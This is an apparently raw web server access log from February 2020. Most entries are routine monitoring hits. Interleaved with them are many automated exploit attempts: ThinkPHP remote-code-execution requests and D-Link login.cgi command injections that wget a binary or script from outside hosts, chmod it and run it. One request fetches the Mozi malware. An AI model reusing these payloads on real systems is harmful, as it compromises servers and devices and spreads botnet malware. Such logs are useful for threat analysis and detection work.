58.220.253.253 - - [11/Feb/2020:21:01:51 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
58.220.253.253 - - [11/Feb/2020:21:01:52 +0100] "POST /Admin54f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:21:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.196.108.183 - - [11/Feb/2020:21:08:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.194.128 - - [11/Feb/2020:21:08:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:21:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.177.153.12 - - [11/Feb/2020:21:09:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:21:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.113.104.129 - - [11/Feb/2020:21:13:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:21:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.78.26.21 - - [11/Feb/2020:21:13:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:21:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.47.149 - - [11/Feb/2020:21:16:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:21:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.174.148 - - [11/Feb/2020:21:20:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:21:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.76.233.223 - - [11/Feb/2020:21:22:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:21:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.209.89 - - [11/Feb/2020:21:23:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.166.213 - - [11/Feb/2020:21:24:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:21:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.160.145.57 - - [11/Feb/2020:21:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:21:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.80.230 - - [11/Feb/2020:21:25:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:21:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.59.210.169 - - [11/Feb/2020:21:28:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:21:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [11/Feb/2020:21:34:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [11/Feb/2020:21:34:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [11/Feb/2020:21:35:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [11/Feb/2020:21:35:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
1.55.27.25 - - [11/Feb/2020:21:35:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.7.155.141 - - [11/Feb/2020:21:35:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:21:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.180.224.249 - - [11/Feb/2020:21:38:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [11/Feb/2020:21:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.53.28.198 - - [11/Feb/2020:21:41:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:21:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
156.223.249.4 - - [11/Feb/2020:21:47:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:21:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.168.65.196 - - [11/Feb/2020:21:52:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:21:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.137.149 - - [11/Feb/2020:21:54:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:21:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.29 - - [11/Feb/2020:21:56:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.71.62.31 - - [11/Feb/2020:21:57:36 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://1.71.62.31:43983/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
212.91.246.72 - - [11/Feb/2020:21:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.136.157.215 - - [11/Feb/2020:21:57:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:21:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:21:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.133.231 - - [11/Feb/2020:22:00:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:22:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.129.79 - - [11/Feb/2020:22:03:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:22:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.32.59 - - [11/Feb/2020:22:07:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:22:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.24.104.173 - - [11/Feb/2020:22:10:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:22:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.33.191 - - [11/Feb/2020:22:13:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.40.226.165 - - [11/Feb/2020:22:14:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.40.226.165 - - [11/Feb/2020:22:14:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:22:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.160.50 - - [11/Feb/2020:22:16:16 +0100] "GET / HTTP/1.1" 200 1229 "https://fit-discount.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [11/Feb/2020:22:16:16 +0100] "GET / HTTP/1.1" 200 1229 "https://fit-discount.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [11/Feb/2020:22:16:17 +0100] "GET / HTTP/1.1" 200 1229 "https://fit-discount.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
212.91.246.72 - - [11/Feb/2020:22:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.27.80.186 - - [11/Feb/2020:22:18:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
189.27.80.186 - - [11/Feb/2020:22:18:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
189.27.80.186 - - [11/Feb/2020:22:18:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:22:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.73.183.10 - - [11/Feb/2020:22:21:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:22:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [11/Feb/2020:22:28:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [11/Feb/2020:22:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.146.101.83 - - [11/Feb/2020:22:31:09 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [11/Feb/2020:22:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
